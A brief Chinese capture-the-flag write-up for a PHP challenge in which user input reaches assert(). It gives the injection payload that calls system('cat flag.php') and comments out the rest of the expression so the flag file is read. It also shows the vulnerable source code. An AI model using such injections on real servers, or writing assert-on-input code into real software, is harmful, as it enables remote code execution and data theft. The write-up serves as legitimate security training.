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①打开网页看到如下php代码

<?php 
require_once('flag.php'); 
error_reporting(0); 

if(!isset($_GET['b'])){ 
    highlight_file(__FILE__); 
    die(); 
}else{ 
    $a=$_GET['a']; 
    $b=$_GET['b']; 
    if($_GET['b']!="HashTeam"){ 
        die('die...'); 
    } 
    assert("$a == $b"); 
    // flag在哪里啊？ 
} 
?> 

 

②进行代码审计，发现assert()函数可以进行任意代码执行，但需要绕过后半部分的判断，可以通过构造#或
者//使后半部分被注释掉

还可以发现index.php已经被包含进来了，那就好办了

传参?b=HashTeam&a=system('cat flag.php');//

或者?b=HashTeam&a=system('cat flag.php');#
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知识补充：知识补充：php中require_once的用法

 

③传完参数得到一个空白页面，差不多是成了，查看源代码果然找到了flag

https://www.cnblogs.com/benpao1314/p/8565364.html
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